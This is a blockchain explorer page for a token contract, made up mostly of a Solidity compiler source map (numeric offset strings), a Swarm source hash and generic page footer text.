;2533:6;-1:-1:-1;;;;;2533:6:0;;2468:79;10435:7;-1:-1:-1;;;;;10426:16:0;:5;-1:-1:-1;;;;;10426:16:0;;;:36;;;;-1:-1:-1;2506:7:0;2533:6;-1:-1:-1;;;;;10446:16:0;;;2533:6;;10446:16;;10426:36;10422:1324;;;10487:75;10558:3;10487:66;10508:15;;10498:9;;:25;10497:55;;10538:14;;10497:55;;;10525:12;;10497:55;10487:5;;:9;:66::i;:75::-;10583:20;;10479:83;;-1:-1:-1;10583:20:0;;10579:152;;;10605:27;10626:5;10605:20;:27::i;:::-;10579:152;;;-1:-1:-1;;;;;10655:18:0;;;;;;:11;:18;;;;;;;;:44;;;;-1:-1:-1;10677:22:0;10655:44;10652:79;;;-1:-1:-1;;;;;;10713:18:0;;;;;;:11;:18;;;;;;;;10652:79;10761:13;;-1:-1:-1;;;;;10752:22:0;;;10761:13;;10752:22;:59;;;;-1:-1:-1;10795:15:0;;-1:-1:-1;;;;;10778:33:0;;;10795:15;;10778:33;;10752:59;:83;;;;-1:-1:-1;;;;;;10817:18:0;;;;;;:11;:18;;;;;;;;10815:20;10752:83;10748:314;;;10874:12;;10865:5;:21;;10857:59;;;;-1:-1:-1;;;10857:59:0;;10835:2:1;10857:59:0;;;10817:21:1;10874:2;10854:18;;;10847:30;10913:27;10893:18;;;10886:55;10958:18;;10857:59:0;10633:349:1;10857:59:0;10971:14;;10962:5;10943:16;10953:5;-1:-1:-1;;;;;6137:18:0;6110:7;6137:18;;;:9;:18;;;;;;;6044:119;10943:16;:24;;;;:::i;:::-;:42;;10935:81;;;;-1:-1:-1;;;10935:81:0;;11319:2:1;10935:81:0;;;11301:21:1;11358:2;11338:18;;;11331:30;11397:28;11377:18;;;11370:56;11443:18;;10935:81:0;11117:350:1;10935:81:0;11035:9;:11;;;:9;:11;;;:::i;:::-;;;;;;10748:314;11090:13;;-1:-1:-1;;;;;11081:22:0;;;11090:13;;11081:22;:47;;;;-1:-1:-1;;;;;;11107:21:0;;11123:4;11107:21;;11081:47;11078:173;;;11157:78;11231:3;11157:69;11178:16;;11168:9;;:26;11167:58;;11210:15;;11167:58;;;11196:13;;11157:5;;:9;:69::i;:78::-;11149:86;;11078:173;11272:6;;-1:-1:-1;;;11272:6:0;;;;11271:7;:33;;;;-1:-1:-1;11291:13:0;;-1:-1:-1;;;;;11282:22:0;;;11291:13;;11282:22;11271:33;:48;;;;-1:-1:-1;11308:11:0;;-1:-1:-1;;;11308:11:0;;;;11271:48;:82;;;;;11335:18;;11323:9;;:30;11271:82;11267:468;;;11423:4;11374:28;6137:18;;;:9;:18;;;;;;11476:12;;11451:13;;:21;;11467:5;;11451:21;:::i;:::-;:37;:50;;;;;11492:9;11451:50;11448:99;;;11538:9;;11526:21;;11538:9;11526:21;:::i;:::-;11502:45;;;;;;11448:99;11574:17;;11551:20;:40;11548:121;;;11615:54;11618:50;11622:5;11629:38;11633:20;11655:11;;11629:3;:38::i;:::-;11618:3;:50::i;:::-;11615:2;:54::i;:::-;11688:31;11697:21;11688:8;:31::i;:::-;11355:380;11267:468;11769:7;;11766:154;;11835:4;11817:24;;;;:9;:24;;;;;;:35;;11846:5;11817:28;:35::i;:::-;11810:4;11792:24;;;;:9;:24;;;;;;;:60;;;;11872:36;;-1:-1:-1;;;;;11872:36:0;;;;;;;11902:5;1231:25:1;;1219:2;1204:18;;1085:177;11872:36:0;;;;;;;;11766:154;-1:-1:-1;;;;;11947:16:0;;;;;;:9;:16;;;;;;:27;;11968:5;11947:20;:27::i;:::-;-1:-1:-1;;;;;11930:16:0;;;;;;:9;:16;;;;;:44;-1:-1:-1;10249:1733:0;;;;;:::o;1216:136::-;1274:7;1301:43;1305:1;1308;1301:43;;;;;;;;;;;;;;;;;:3;:43::i;1029:179::-;1087:7;;1119:5;1123:1;1119;:5;:::i;:::-;1107:17;;1148:1;1143;:6;;1135:46;;;;-1:-1:-1;;;1135:46:0;;11814:2:1;1135:46:0;;;11796:21:1;11853:2;11833:18;;;11826:30;11892:29;11872:18;;;11865:57;11939:18;;1135:46:0;11612:351:1;11994:443:0;12074:15;;-1:-1:-1;;;;;12060:30:0;;;12074:15;;12060:30;;;;:62;;-1:-1:-1;12108:13:0;;-1:-1:-1;;;;;12094:28:0;;;12108:13;;12094:28;;12060:62;12056:374;;;12194:9;12165:39;;;;:28;:39;;;;;;12228:12;-1:-1:-1;12139:210:0;;;;-1:-1:-1;;;12139:210:0;;12170:2:1;12139:210:0;;;12152:21:1;12209:2;12189:18;;;12182:30;12248:34;12228:18;;;12221:62;12319:34;12299:18;;;12292:62;-1:-1:-1;;;12370:19:1;;;12363:40;12420:19;;12139:210:0;11968:477:1;12139:210:0;12393:9;12364:39;;;;:28;:39;;;;;12406:12;12364:54;;11994:443;:::o;8264:98::-;8321:7;8348:1;8346;:3;8345:9;;8353:1;8345:9;;;-1:-1:-1;8351:1:0;8264:98;-1:-1:-1;8264:98:0:o;9570:469::-;5221:6;:13;;-1:-1:-1;;;;5221:13:0;-1:-1:-1;;;5221:13:0;;;9658:16:::1;::::0;;9672:1:::1;9658:16:::0;;;;;::::1;::::0;;-1:-1:-1;;9658:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;9658:16:0::1;9634:40;;9703:4;9685;9690:1;9685:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9685:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;9729:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;9729:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;9685:7;;9729:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9719:4;9724:1;9719:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9719:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;9794:15:::1;::::0;9762:62:::1;::::0;9779:4:::1;::::0;9794:15:::1;9812:11:::0;9762:8:::1;:62::i;:::-;9835:15;::::0;:196:::1;::::0;-1:-1:-1;;;9835:196:0;;-1:-1:-1;;;;;9835:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;9916:11;;9835:15:::1;::::0;9958:4;;9985::::1;::::0;10005:15:::1;::::0;9835:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5257:6:0;:14;;-1:-1:-1;;;;5257:14:0;;;-1:-1:-1;;;;9570:469:0:o;12445:88::-;12498:10;;:27;;:10;;;;-1:-1:-1;;;;;12498:10:0;;:27;;;;;;;;;;;;:10;:27;;;;;;;;;;;;;;;;;;;;;12445:88;:::o;14:418:1:-;163:2;152:9;145:21;126:4;195:6;189:13;238:6;233:2;222:9;218:18;211:34;297:6;292:2;284:6;280:15;275:2;264:9;260:18;254:50;353:1;348:2;339:6;328:9;324:22;320:31;313:42;423:2;416;412:7;407:2;399:6;395:15;391:29;380:9;376:45;372:54;364:62;;;14:418;;;;:::o;437:131::-;-1:-1:-1;;;;;512:31:1;;502:42;;492:70;;558:1;555;548:12;573:315;641:6;649;702:2;690:9;681:7;677:23;673:32;670:52;;;718:1;715;708:12;670:52;757:9;744:23;776:31;801:5;776:31;:::i;:::-;826:5;878:2;863:18;;;;850:32;;-1:-1:-1;;;573:315:1:o;1267:456::-;1344:6;1352;1360;1413:2;1401:9;1392:7;1388:23;1384:32;1381:52;;;1429:1;1426;1419:12;1381:52;1468:9;1455:23;1487:31;1512:5;1487:31;:::i;:::-;1537:5;-1:-1:-1;1594:2:1;1579:18;;1566:32;1607:33;1566:32;1607:33;:::i;:::-;1267:456;;1659:7;;-1:-1:-1;;;1713:2:1;1698:18;;;;1685:32;;1267:456::o;1917:255::-;1984:6;2037:2;2025:9;2016:7;2012:23;2008:32;2005:52;;;2053:1;2050;2043:12;2005:52;2092:9;2079:23;2111:31;2136:5;2111:31;:::i;2637:388::-;2705:6;2713;2766:2;2754:9;2745:7;2741:23;2737:32;2734:52;;;2782:1;2779;2772:12;2734:52;2821:9;2808:23;2840:31;2865:5;2840:31;:::i;:::-;2890:5;-1:-1:-1;2947:2:1;2932:18;;2919:32;2960:33;2919:32;2960:33;:::i;:::-;3012:7;3002:17;;;2637:388;;;;;:::o;3030:180::-;3089:6;3142:2;3130:9;3121:7;3117:23;3113:32;3110:52;;;3158:1;3155;3148:12;3110:52;-1:-1:-1;3181:23:1;;3030:180;-1:-1:-1;3030:180:1:o;3215:127::-;3276:10;3271:3;3267:20;3264:1;3257:31;3307:4;3304:1;3297:15;3331:4;3328:1;3321:15;3347:416;3436:1;3473:5;3436:1;3487:270;3508:7;3498:8;3495:21;3487:270;;;3567:4;3563:1;3559:6;3555:17;3549:4;3546:27;3543:53;;;3576:18;;:::i;:::-;3626:7;3616:8;3612:22;3609:55;;;3646:16;;;;3609:55;3725:22;;;;3685:15;;;;3487:270;;;3491:3;3347:416;;;;;:::o;3768:806::-;3817:5;3847:8;3837:80;;-1:-1:-1;3888:1:1;3902:5;;3837:80;3936:4;3926:76;;-1:-1:-1;3973:1:1;3987:5;;3926:76;4018:4;4036:1;4031:59;;;;4104:1;4099:130;;;;4011:218;;4031:59;4061:1;4052:10;;4075:5;;;4099:130;4136:3;4126:8;4123:17;4120:43;;;4143:18;;:::i;:::-;-1:-1:-1;;4199:1:1;4185:16;;4214:5;;4011:218;;4313:2;4303:8;4300:16;4294:3;4288:4;4285:13;4281:36;4275:2;4265:8;4262:16;4257:2;4251:4;4248:12;4244:35;4241:77;4238:159;;;-1:-1:-1;4350:19:1;;;4382:5;;4238:159;4429:34;4454:8;4448:4;4429:34;:::i;:::-;4499:6;4495:1;4491:6;4487:19;4478:7;4475:32;4472:58;;;4510:18;;:::i;:::-;4548:20;;3768:806;-1:-1:-1;;;3768:806:1:o;4579:140::-;4637:5;4666:47;4707:4;4697:8;4693:19;4687:4;4666:47;:::i;4724:168::-;4797:9;;;4828;;4845:15;;;4839:22;;4825:37;4815:71;;4866:18;;:::i;4897:356::-;5099:2;5081:21;;;5118:18;;;5111:30;5177:34;5172:2;5157:18;;5150:62;5244:2;5229:18;;4897:356::o;5610:251::-;5680:6;5733:2;5721:9;5712:7;5708:23;5704:32;5701:52;;;5749:1;5746;5739:12;5701:52;5781:9;5775:16;5800:31;5825:5;5800:31;:::i;6787:306::-;6875:6;6883;6891;6944:2;6932:9;6923:7;6919:23;6915:32;6912:52;;;6960:1;6957;6950:12;6912:52;6989:9;6983:16;6973:26;;7039:2;7028:9;7024:18;7018:25;7008:35;;7083:2;7072:9;7068:18;7062:25;7052:35;;6787:306;;;;;:::o;7377:277::-;7444:6;7497:2;7485:9;7476:7;7472:23;7468:32;7465:52;;;7513:1;7510;7503:12;7465:52;7545:9;7539:16;7598:5;7591:13;7584:21;7577:5;7574:32;7564:60;;7620:1;7617;7610:12;7659:184;7729:6;7782:2;7770:9;7761:7;7757:23;7753:32;7750:52;;;7798:1;7795;7788:12;7750:52;-1:-1:-1;7821:16:1;;7659:184;-1:-1:-1;7659:184:1:o;8656:217::-;8696:1;8722;8712:132;;8766:10;8761:3;8757:20;8754:1;8747:31;8801:4;8798:1;8791:15;8829:4;8826:1;8819:15;8712:132;-1:-1:-1;8858:9:1;;8656:217::o;10500:128::-;10567:9;;;10588:11;;;10585:37;;;10602:18;;:::i;10987:125::-;11052:9;;;11073:10;;;11070:36;;;11086:18;;:::i;11472:135::-;11511:3;11532:17;;;11529:43;;11552:18;;:::i;:::-;-1:-1:-1;11599:1:1;11588:13;;11472:135::o;12582:127::-;12643:10;12638:3;12634:20;12631:1;12624:31;12674:4;12671:1;12664:15;12698:4;12695:1;12688:15;12714:980;12976:4;13024:3;13013:9;13009:19;13055:6;13044:9;13037:25;13081:2;13119:6;13114:2;13103:9;13099:18;13092:34;13162:3;13157:2;13146:9;13142:18;13135:31;13186:6;13221;13215:13;13252:6;13244;13237:22;13290:3;13279:9;13275:19;13268:26;;13329:2;13321:6;13317:15;13303:29;;13350:1;13360:195;13374:6;13371:1;13368:13;13360:195;;;13439:13;;-1:-1:-1;;;;;13435:39:1;13423:52;;13530:15;;;;13495:12;;;;13471:1;13389:9;13360:195;;;-1:-1:-1;;;;;;;13611:32:1;;;;13606:2;13591:18;;13584:60;-1:-1:-1;;;13675:3:1;13660:19;13653:35;13572:3;12714:980;-1:-1:-1;;;12714:980:1:o

Swarm Source

ipfs://5d08e34195cbf411ae74022a76ef5f293c64cf64ea1099d1030a335e2af02a5a
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.